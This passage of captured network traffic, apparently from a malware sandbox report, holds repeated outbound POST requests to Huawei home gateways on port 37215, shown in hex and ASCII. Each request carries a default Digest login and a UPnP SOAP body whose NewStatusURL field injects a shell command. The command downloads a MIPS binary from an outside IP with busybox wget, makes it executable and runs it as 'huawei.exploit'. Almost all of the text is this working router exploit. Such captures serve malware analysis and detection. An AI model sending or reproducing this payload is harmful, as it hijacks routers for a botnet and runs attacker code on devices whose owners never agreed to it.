3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:07.335287094 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:11.302704096 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:19.237584114 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:35.111356974 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	48078	156.235.99.30	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:03.497384071 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:04.359719992 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:05.351599932 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:07.335314989 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 